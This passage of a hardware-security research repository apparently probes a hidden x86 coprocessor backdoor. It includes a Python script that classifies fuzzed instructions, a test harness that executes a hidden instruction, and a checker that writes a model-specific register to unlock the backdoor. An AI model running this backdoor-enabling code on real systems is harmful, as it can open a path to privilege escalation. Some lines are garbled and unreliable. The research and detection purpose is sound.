214 | # record only the first, don't need all
215 | (ins, result) = passed[0]
216 | o.append(result)
217 | add_ins_to_pattern(ins, pattern_name)
218 |
219 | print "\n".join(sorted(list(set(o))))
220 |
221 |
222 | MIN_RUNS = ALL_RUNS
223 | pattern_name = "lo word copy"
224 | print
225 | print "==== %s ====" % pattern_name
226 | o = []
227 | for ins_run in ins_runs.values():
228 | passed = []
229 | for ins in ins_run:
230 | for ri, vi in ins.input_state.items():
231 | for ro, vo in ins.output_state.items():
232 | # ignore identical regs
233 | if ri == ro:
234 | continue
235 | # ignore target registers that didn't change
236 | if ins.input_state[ro] == vo:
237 | continue
238 | if loword(vi) == loword(vo) and \
239 | hiword(ins.input_state[ro]) == hiword(vo):
240 | if vo != 0: # filter 0 transfers
241 | passed.append((ins, "%s: %s: %08x, %s: %08x -> %08x" % (ins, ri, vi, ro, ins.input_state[ro], vo)))
242 | # if all runs had the same behavior
243 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
244 | # record only the first, don't need all
245 | (ins, result) = passed[0]
246 | o.append(result)
247 | add_ins_to_pattern(ins, pattern_name)
248 |
249 | print "\n".join(sorted(list(set(o))))
250 |
251 | MIN_RUNS = ALL_RUNS
252 | pattern_name = "hi word copy"
253 | print
254 | print "==== %s ====" % pattern_name
255 | o = []
256 | for ins_run in ins_runs.values():
257 | passed = []
258 | for ins in ins_run:
259 | for ri, vi in ins.input_state.items():
260 | for ro, vo in ins.output_state.items():
261 | # ignore identical regs
262 | if ri == ro:
263 | continue
264 | # ignore target registers that didn't change
265 | if ins.input_state[ro] == vo:
266 | continue
267 | if loword(vi) == hiword(vo) and \
268 | loword(ins.input_state[ro]) == loword(vo):
269 | if vo != 0: # filter 0 transfers
270 | passed.append((ins, "%s: %s: %08x, %s: %08x -> %08x" % (ins, ri, vi, ro, ins.input_state[ro], vo)))
271 | # if all runs had the same behavior
272 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
273 | # record only the first, don't need all
274 | (ins, result) = passed[0]
275 | o.append(result)
276 | add_ins_to_pattern(ins, pattern_name)
277 |
278 | print "\n".join(sorted(list(set(o))))
279 |
280 | MIN_RUNS = ALL_RUNS
281 | pattern_name = "ins imm load"
282 | print
283 | print "==== %s ====" % pattern_name
284 | o = []
285 | for ins_run in ins_runs.values():
286 | passed = []
287 | for ins in ins_run:
288 | for ro, vo in ins.output_state.items():
289 | # ignore target registers that didn't change
290 | if ins.input_state[ro] == vo:
291 | continue
292 | if (ins.instruction & 0xffff) == (vo & 0xffff):
293 | if vo != 0: # filter 0 transfers
294 | passed.append((ins, "%s: %s: %08x -> %08x" % (ins, ro, ins.input_state[ro], vo)))
295 | # if all runs had the same behavior
296 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
297 | # record only the first, don't need all
298 | (ins, result) = passed[0]
299 | o.append(result)
300 | add_ins_to_pattern(ins, pattern_name)
301 |
302 | print "\n".join(sorted(list(set(o))))
303 |
304 | MIN_RUNS = ALL_RUNS # for reg/reg xfer, expect all runs to succeed
305 | pattern_name = "(pre) register to register xfers"
306 | print
307 | print "==== %s ====" % pattern_name
308 | o = []
309 | #for ins in instructions:
310 | for ins_run in ins_runs.values():
311 | passed = []
312 | for ins in ins_run:
313 | '''
314 | if RUN_2_ARITHMETIC and ins.run != 2:
315 | # only use the randomized run. runs with bit patterns are too
316 | # difficult to separate arithmetic from other effects
317 | continue
318 | '''
319 | for ri, vi in ins.input_state.items():
320 | for ro, vo in ins.output_state.items():
321 | if ri == ro:
322 | continue
323 | # ignore aliases
324 | if ri == "dr5" and ro == "dr7" or ri == "dr7" and ro == "dr5" or \
325 | ri == "dr4" and ro == "dr6" or ri == "dr6" and ro == "dr4":
326 | continue
327 | # ignore target registers that didn't change
328 | if ins.input_state[ro] == vo:
329 | continue
330 | if vi == vo:
331 | if vi != 0: # filter 0 transfers
332 | passed.append((ins, "%s: %s -> %s" % (ins, ri, ro)))
333 | #o.append("%s: %s -> %s" % (ins, ri, ro))
334 | #add_ins_to_pattern(ins, pattern_name)
335 | # if all runs had the same behavior
336 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
337 | '''
338 | for (ins, result) in passed:
339 | o.append(result)
340 | add_ins_to_pattern(ins, pattern_name)
341 | '''
342 | # record only the first, don't need all
343 | (ins, result) = passed[0]
344 | o.append(result)
345 | add_ins_to_pattern(ins, pattern_name)
346 |
347 | print "\n".join(sorted(list(set(o))))
348 |
349 | # detects some instructions wherein one instruction modifies a register, then
350 | # transfers the result to another
351 | MIN_RUNS = ALL_RUNS # for reg/reg xfer, expect all runs to succeed
352 | pattern_name = "(post) register to register xfers"
353 | print
354 | print "==== %s ====" % pattern_name
355 | o = []
356 | #for ins in instructions:
357 | for ins_run in ins_runs.values():
358 | passed = []
359 | for ins in ins_run:
360 | '''
361 | if RUN_2_ARITHMETIC and ins.run != 2:
362 | # only use the randomized run. runs with bit patterns are too
363 | # difficult to separate arithmetic from other effects
364 | continue
365 | '''
366 | ignore = []
367 | found = False
368 | for ri, vi in ins.input_state.items():
369 | for ro, vo in ins.output_state.items():
370 | if ri == ro:
371 | continue
372 | # ignore aliases
373 | if ri == "dr5" and ro == "dr7" or ri == "dr7" and ro == "dr5" or \
374 | ri == "dr4" and ro == "dr6" or ri == "dr6" and ro == "dr4":
375 | continue
376 | if (ri, ro) in ignore:
377 | # we've already found this pair
378 | continue
379 | # if the new value for one register is equal to the new value of
380 | # another register, and the value for the first register changed,
381 | # and the value for the second register changed
382 | if ins.output_state[ri] == ins.output_state[ro] and \
383 | ins.output_state[ri] != ins.input_state[ri] and \
384 | ins.output_state[ro] != ins.input_state[ro]:
385 | if ins.output_state[ri] != 0: # filter 0 "transfers"
386 | # note that there is no easy way to determine the
387 | # transfer direction
388 | '''
389 | o.append("%s: %s <-> %s" % (ins, ri, ro))
390 | add_ins_to_pattern(ins, pattern_name)
391 | ignore.append((ri, ro))
392 | ignore.append((ro, ri))
393 | '''
394 | passed.append((ins, "%s: %s <-> %s" % (ins, ri, ro)))
395 | found = True # stop on first found, no need to record all
396 | break
397 | if found:
398 | break
399 | if found:
400 | break
401 | # if all runs had the same behavior
402 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
403 | '''
404 | for (ins, result) in passed:
405 | o.append(result)
406 | add_ins_to_pattern(ins, pattern_name)
407 | '''
408 | # record only the first, don't need all
409 | (ins, result) = passed[0]
410 | o.append(result)
411 | add_ins_to_pattern(ins, pattern_name)
412 |
413 | print "\n".join(sorted(list(set(o))))
414 |
415 | MIN_RUNS = MEM_RUNS # expect non-pointer runs to fail
416 | pattern_name = "memory writes"
417 | print
418 | print "==== %s ====" % pattern_name
419 | o = []
420 | #for ins in instructions:
421 | for ins_run in ins_runs.values():
422 | passed = []
423 | for ins in ins_run:
424 | for (i, b) in enumerate(ins.input_mem):
425 | if b != ins.output_mem[i]:
426 | # find the last changed byte
427 | for k in xrange(len(ins.input_mem) - 1, i - 1, -1):
428 | if ins.output_mem[k] != ins.input_mem[k]:
429 | break
430 | r = "%s: %s -> %s" % (ins, "".join("%02x" % x for x \
431 | in ins.input_mem[i:k+1]), "".join("%02x" % x for x in ins.output_mem[i:k+1]))
432 | passed.append((ins, r))
433 | break
434 | # if all runs had the same behavior
435 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
436 | '''
437 | for (ins, result) in passed:
438 | o.append(result)
439 | add_ins_to_pattern(ins, pattern_name)
440 | '''
441 | # record only the first, don't need all
442 | (ins, result) = passed[0]
443 | o.append(result)
444 | add_ins_to_pattern(ins, pattern_name)
445 |
446 | print "\n".join(sorted(list(set(o))))
447 |
448 | # memory reads
449 | def WORD(mem, n):
450 | v = 0
451 | for s in xrange(n):
452 | v = v + (mem[s] << (s * 8))
453 | return v
454 |
455 | for n in [1, 2, 4, 8]:
456 | MIN_RUNS = MEM_RUNS # allow failing on non-memory runs
457 | pattern_name = "memory reads, %d byte" % n
458 | print
459 | print "==== %s ====" % pattern_name
460 | o = []
461 | #for ins in instructions:
462 | for ins_run in ins_runs.values():
463 | passed = []
464 | for ins in ins_run:
465 | if n == 1 and ins.run > 1:
466 | continue
467 | found = False
468 | for x in [WORD(ins.input_mem[i:], n) for i in xrange(len(ins.input_mem)-n)]:
469 | if n == 1 and (x == 0 or x == 0xff):
470 | continue
471 | for k, v in ins.output_state.items():
472 | # only counts if the register changed
473 | if ins.input_state[k] == v:
474 | continue
475 | # don't expect a read into an spr
476 | if k in sprs:
477 | continue
478 | # check for other bytes unchanged, zeroed, or oned
479 | if v == x or v == ((ins.input_state[k] & ~((1 << (n * 8)) - 1)) | x) \
480 | or v == (~((1 << (n * 8)) - 1)) | x:
481 | r = "%s: %s: %08x -> %08x" % (ins, k, ins.input_state[k], ins.output_state[k])
482 | '''
483 | o.append(r)
484 | add_ins_to_pattern(ins, pattern_name)
485 | '''
486 | passed.append((ins, r))
487 | found = True # only get one match
488 | if found:
489 | break
490 | if found:
491 | break
492 | # if all runs had the same behavior
493 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
494 | '''
495 | for (ins, result) in passed:
496 | o.append(result)
497 | add_ins_to_pattern(ins, pattern_name)
498 | '''
499 | # record only the first, don't need all
500 | (ins, result) = passed[0]
501 | o.append(result)
502 | add_ins_to_pattern(ins, pattern_name)
503 |
504 | print "\n".join(sorted(list(set(o))))
505 |
506 | def binop_name(s):
507 | return re.findall("^$", s)[0]
508 |
509 | # increments, decrements, push, pop
510 | MIN_RUNS = MEM_RUNS # allow failing on non-memory runs
511 | for v in [1, 2, 4, 8]:
512 | binops = [operator.add, operator.sub]
513 | for b in binops:
514 | o = []
515 | pattern_name = "%s, %d" % (binop_name(str(b)), v)
516 | print
517 | print "==== %s ====" % pattern_name
518 | #for ins in instructions:
519 | for ins_run in ins_runs.values():
520 | passed = []
521 | for ins in ins_run:
522 | '''
523 | if RUN_2_ARITHMETIC and ins.run != 2:
524 | # only use the randomized run. runs with bit patterns are too
525 | # difficult to separate arithmetic from other effects
526 | continue
527 | '''
528 | done = False
529 | for ki1, vi1 in ins.input_state.items():
530 | # don't expect arithmetic on sprs
531 | if ki1 in sprs:
532 | continue
533 | if b(vi1, v) == ins.output_state[ki1]:
534 | r = "%s: %s: %08x -> %08x" % (\
535 | ins, ki1, vi1, ins.output_state[ki1])
536 | '''
537 | o.append(r)
538 | add_ins_to_pattern(ins, pattern_name)
539 | '''
540 | passed.append((ins, r))
541 | if done:
542 | break
543 | # if all runs had the same behavior
544 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
545 | '''
546 | for (ins, result) in passed:
547 | o.append(result)
548 | add_ins_to_pattern(ins, pattern_name)
549 | '''
550 | # record only the first, don't need all
551 | (ins, result) = passed[0]
552 | o.append(result)
553 | add_ins_to_pattern(ins, pattern_name)
554 |
555 | print "\n".join(sorted(list(set(o))))
556 |
557 | # write eip
558 |
559 | def DWORD(mem):
560 | return mem[0] + (mem[1]<<8) + (mem[2]<<16) + (mem[3]<<24)
561 | MIN_RUNS = MEM_RUNS # allow failing on non-memory runs
562 | pattern_name = "call (write next eip)"
563 | print
564 | print "==== %s ====" % pattern_name
565 | o = []
566 | DEIS_LENGTH = 7 # 4 plus wrapper
567 | #for ins in instructions:
568 | for ins_run in ins_runs.values():
569 | passed = []
570 | for ins in ins_run:
571 | eip = ins.input_state["eax"] + DEIS_LENGTH
572 | #for x in [DWORD(ins.output_mem[i:]) for i in xrange(len(ins.input_mem)-4)]:
573 | for i in xrange(len(ins.output_mem) - 4):
574 | x = DWORD(ins.output_mem[i:])
575 | if x == eip:
576 | #o.append("%s: %08x -> %08x" % (ins, DWORD(ins.input_mem[i:]), x))
577 | #add_ins_to_pattern(ins, pattern_name)
578 | r = "%s: %08x -> %08x" % (ins, DWORD(ins.input_mem[i:]), x)
579 | passed.append((ins, r))
580 | break # some instructions seem to double write eip, only count them once
581 | # if all runs had the same behavior
582 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
583 | '''
584 | for (ins, result) in passed:
585 | o.append(result)
586 | add_ins_to_pattern(ins, pattern_name)
587 | '''
588 | # record only the first, don't need all
589 | (ins, result) = passed[0]
590 | o.append(result)
591 | add_ins_to_pattern(ins, pattern_name)
592 |
593 | print "\n".join(sorted(list(set(o))))
594 |
595 | # shifts
596 | MIN_RUNS = ALL_RUNS # expect all runs to succeed
597 | for v in xrange(1,16): # shifts beyond 16 are too hard to distinguish from random small numbers
598 | binops = [operator.lshift, operator.rshift]
599 | for b in binops:
600 | o = []
601 | pattern_name = "%s, %d" % (binop_name(str(b)), v)
602 | print
603 | print "==== %s ====" % pattern_name
604 | #for ins in instructions:
605 | for ins_run in ins_runs.values():
606 | passed = []
607 | for ins in ins_run:
608 | '''
609 | if RUN_2_ARITHMETIC and ins.run != 2:
610 | # only use the randomized run. runs with bit patterns are too
611 | # difficult to separate arithmetic from other effects
612 | continue
613 | '''
614 | for ki1, vi1 in ins.input_state.items():
615 | # don't expect arithmetic on sprs
616 | if ki1 in sprs:
617 | continue
618 | # shifts to 0 are probably not shifts
619 | if not ins.output_state[ki1]:
620 | continue
621 | #TODO: is it worth exploring shifts into other registers?
622 | result = b(vi1, v) & ((1< %08x" % (\
626 | ins, ki1, vi1, ins.output_state[ki1]))
627 | add_ins_to_pattern(ins, pattern_name)
628 | '''
629 | r = "%s: %s: %08x -> %08x" % (\
630 | ins, ki1, vi1, ins.output_state[ki1])
631 | passed.append((ins, r))
632 | break
633 | # if all runs had the same behavior
634 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
635 | '''
636 | for (ins, result) in passed:
637 | o.append(result)
638 | add_ins_to_pattern(ins, pattern_name)
639 | '''
640 | # record only the first, don't need all
641 | (ins, result) = passed[0]
642 | o.append(result)
643 | add_ins_to_pattern(ins, pattern_name)
644 | print "\n".join(sorted(list(set(o))))
645 |
646 | # 90s
647 | # currently the fuzzer has a nop-sled after the fuzzed instruction (to catch
648 | # short forward jumps, and generally stabalize the system) ... reading 90's into
649 | # a register suggests an immediate load from a nearby location (similar to ARM)
650 | MIN_RUNS = MEM_RUNS # allow failing on non-memory runs
651 | pattern_name = "immediate load"
652 | print
653 | print "==== %s ====" % pattern_name
654 | o = []
655 | #for ins in instructions:
656 | for ins_run in ins_runs.values():
657 | passed = []
658 | for ins in ins_run:
659 | for k, v in ins.output_state.items():
660 | if v == 0x90909090:
661 | '''
662 | o.append("%s: %s -> %08x" % (ins, k, v))
663 | add_ins_to_pattern(ins, pattern_name)
664 | '''
665 | r = "%s: %s -> %08x" % (ins, k, v)
666 | passed.append((ins, r))
667 | break
668 | # if all runs had the same behavior
669 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
670 | '''
671 | for (ins, result) in passed:
672 | o.append(result)
673 | add_ins_to_pattern(ins, pattern_name)
674 | '''
675 | # record only the first, don't need all
676 | (ins, result) = passed[0]
677 | o.append(result)
678 | add_ins_to_pattern(ins, pattern_name)
679 |
680 | print "\n".join(sorted(list(set(o))))
681 |
682 | # binary operations
683 | # these are just insanely slow, do them last
684 | MIN_RUNS = ALL_RUNS # expect all runs to succeed
685 | binops = [operator.add, operator.div, operator.mul, operator.sub, operator.mod, operator.xor, operator.and_, operator.or_]
686 | for b in binops:
687 | pattern_name = "%s" % binop_name(str(b))
688 | print
689 | print "==== %s ====" % pattern_name
690 | o = []
691 | #for ins in instructions:
692 | for ins_run in ins_runs.values():
693 | passed = []
694 | for ins in ins_run:
695 | found = False
696 | '''
697 | if ins.run != 2: # regardless of RUN_2_ARITHMETIC
698 | # only use the randomized run. runs with bit patterns are too
699 | # difficult to separate arithmetic from other effects
700 | continue
701 | '''
702 | for ki1, vi1 in ins.input_state.items():
703 | if ki1 in sprs: # don't expect arithmetic on sprs
704 | continue
705 | for ki2, vi2 in ins.input_state.items():
706 | # disallow identical values (some ops indestinguishable from bit shifts)
707 | if ki1 == ki2:
708 | continue
709 | if ki2 in sprs: # don't expect arithmetic on sprs
710 | continue
711 | for ko, vo in ins.output_state.items():
712 | if ko in sprs: # don't expect arithmetic on sprs
713 | continue
714 |
715 | # check result, mask to register size
716 | try:
717 | result = b(vi1, vi2) & ((1< 0xffff0000 or result == vi1 or result == vi2:
723 | # too often coincidental (e.g. mod/div by large number)
724 | continue
725 |
726 | if result == vo:
727 | '''
728 | o.append("%s: %s: %08x ... %s: %08x -> %s: %08x" % (\
729 | ins, ki1, vi1, ki2, vi2, ko, vo))
730 | add_ins_to_pattern(ins, pattern_name)
731 | '''
732 | found = True
733 | r = "%s: %s: %08x ... %s: %08x -> %s: %08x" % (\
734 | ins, ki1, vi1, ki2, vi2, ko, vo)
735 | passed.append((ins, r))
736 | break
737 | if found:
738 | break
739 | if found:
740 | break
741 | # if all runs had the same behavior
742 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
743 | '''
744 | for (ins, result) in passed:
745 | o.append(result)
746 | add_ins_to_pattern(ins, pattern_name)
747 | '''
748 | # record only the first, don't need all
749 | (ins, result) = passed[0]
750 | o.append(result)
751 | add_ins_to_pattern(ins, pattern_name)
752 | print "\n".join(sorted(list(set(o))))
753 |
754 | # summarize pattern groups
755 |
756 | print
757 | print "=" * 30 + " summary " + "=" * 30
758 | print
759 |
760 | # sort groups by number of patters
761 | pattern_groups = reversed(sorted(patterns_to_ins.items(), key=lambda t: len(t[0])))
762 | for k in pattern_groups:
763 | if not patterns_to_ins[k[0]]:
764 | continue
765 | print "==== pattern ===="
766 | for p in k[0]:
767 | print " p: %s" % p
768 | o = ["%s" % i for i in patterns_to_ins[k[0]]]
769 | for i in sorted(list(set(o))):
770 | print " %s" % i
771 | print
772 |
773 | # show all grouped instructions
774 | final = sorted(list(set(str(i) for i in ins_to_patterns)))
775 | print "==== final list (%d instructions) ====" % len(final)
776 | for i in final:
777 | print i
778 |
--------------------------------------------------------------------------------
/rosenbridge.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xoreaxeaxeax/rosenbridge/d90069da69de99af4528d537655de6dd7b594119/rosenbridge.gif
--------------------------------------------------------------------------------
/test/Makefile:
--------------------------------------------------------------------------------
1 | all: bin/check_instruction
2 |
3 | bin/check_instruction: check_instruction.c
4 | mkdir -p bin
5 | gcc -m32 check_instruction.c -o bin/check_instruction
6 |
7 | clean:
8 | rm -f bin/*
9 |
--------------------------------------------------------------------------------
/test/check_instruction.c:
--------------------------------------------------------------------------------
1 | /* runs a single deis instruction, used for testing */
2 |
3 | #include
4 | #include
5 | #include
6 |
7 | #define PPC_RFI_BE_2 0x4c000064
8 | #define PPC_RFI_LE_2 0x6400004c
9 | #define PPC_RFI_BE_1 0x62000023
10 | #define PPC_RFI_LE_1 0x23000062
11 |
12 | #define INSTRUCTION PPC_RFI_LE_1
13 |
14 | typedef struct instruction_t {
15 | unsigned char prefix[3];
16 | unsigned int instruction;
17 | } __attribute__ ((__packed__)) instruction_t;
18 |
19 | int main(void) __attribute__ ((section (".check,\"awx\",@progbits#")));
20 |
21 | instruction_t* bridge_indirect;
22 |
23 | int main(void)
24 | {
25 | extern instruction_t _bridge;
26 | instruction_t* probe=&_bridge;
27 | unsigned int b;
28 | int i;
29 |
30 | instruction_t ins;
31 |
32 | ins.prefix[0]=0x8d;
33 | ins.prefix[1]=0x84;
34 | ins.prefix[2]=0x00;
35 |
36 | ins.instruction=INSTRUCTION;
37 |
38 | *probe=ins;
39 |
40 | printf("executing...\n");
41 | __asm__ __volatile__ ("\
42 | movl $_bridge, %%eax \n\
43 | movl $_bridge, %%ebx \n\
44 | movl $_bridge, %%ecx \n\
45 | movl $_bridge, %%edx \n\
46 | movl $_bridge, %%ebp \n\
47 | movl $_bridge, %%esp \n\
48 | movl $_bridge, %%esi \n\
49 | movl $_bridge, %%edi \n\
50 | .byte 0x0f, 0x3f \n\
51 | _bridge: \n\
52 | .space 0x1000, 0x90 \n\
53 | "
54 | ::
55 | );
56 |
57 | return 0;
58 | }
59 |
--------------------------------------------------------------------------------
/util/Makefile:
--------------------------------------------------------------------------------
1 | all: bin/check
2 |
3 | bin/check: check.c
4 | mkdir -p bin
5 | gcc check.c -o ./bin/check
6 |
7 | clean:
8 | rm -f bin/*
9 |
--------------------------------------------------------------------------------
/util/check.c:
--------------------------------------------------------------------------------
1 | #define _GNU_SOURCE
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | #define BACKDOOR_MSR 0x00001107
12 | #define BACKDOOR_TOGGLE 0x00000001
13 |
14 | #define MSR_DEV "/dev/cpu/0/msr"
15 |
16 | #if __x86_64__
17 | #define IP REG_RIP
18 | #else
19 | #define IP REG_EIP
20 | #endif
21 |
22 | void sig_handler(int signum, siginfo_t* si, void* p)
23 | {
24 | ucontext_t* uc=(ucontext_t*)p;
25 | uc->uc_mcontext.gregs[IP]+=2;
26 | }
27 |
28 | void configure_handler(void)
29 | {
30 | struct sigaction s;
31 |
32 | s.sa_sigaction=sig_handler;
33 | s.sa_flags=SA_SIGINFO|SA_ONSTACK;
34 |
35 | sigfillset(&s.sa_mask);
36 |
37 | sigaction(SIGILL, &s, NULL);
38 | }
39 |
40 | volatile int psuedo_false=0;
41 |
42 | int main(void)
43 | {
44 | FILE* f;
45 | uint64_t v;
46 |
47 | f=fopen(MSR_DEV, "rb+");
48 |
49 | if (f==NULL) {
50 | printf("! failed to open %s\n", MSR_DEV);
51 | exit(-1);
52 | }
53 |
54 | /* unlock the backdoor */
55 |
56 | fseek(f, BACKDOOR_MSR, SEEK_SET);
57 | fread(&v, 8, 1, f);
58 | /* printf("read.... %08" PRIx64 "\n", v); */
59 |
60 | v|=BACKDOOR_TOGGLE;
61 |
62 | fseek(f, BACKDOOR_MSR, SEEK_SET);
63 | fwrite(&v, 8, 1, f);
64 | /* printf("wrote... %08" PRIx64 "\n", v); */
65 |
66 | fseek(f, BACKDOOR_MSR, SEEK_SET);
67 | fread(&v, 8, 1, f);
68 | /* printf("read.... %08" PRIx64 "\n", v); */
69 |
70 | fclose(f);
71 |
72 | /* check if the launch deis instruction is enabled */
73 |
74 | configure_handler();
75 |
76 | __asm__ ("movl $_bridge, %eax");
77 | __asm__ (".byte 0x0f, 0x3f");
78 |
79 | if (psuedo_false) { /* probably a better way to do this */
80 | __asm__ ("_bridge:");
81 | printf("executed hidden instruction: backdoor detected.\n");
82 | }
83 | else {
84 | printf("failed to execute hidden instruction: no backdoor detected.\n");
85 | }
86 |
87 | return 0;
88 | }
89 |
--------------------------------------------------------------------------------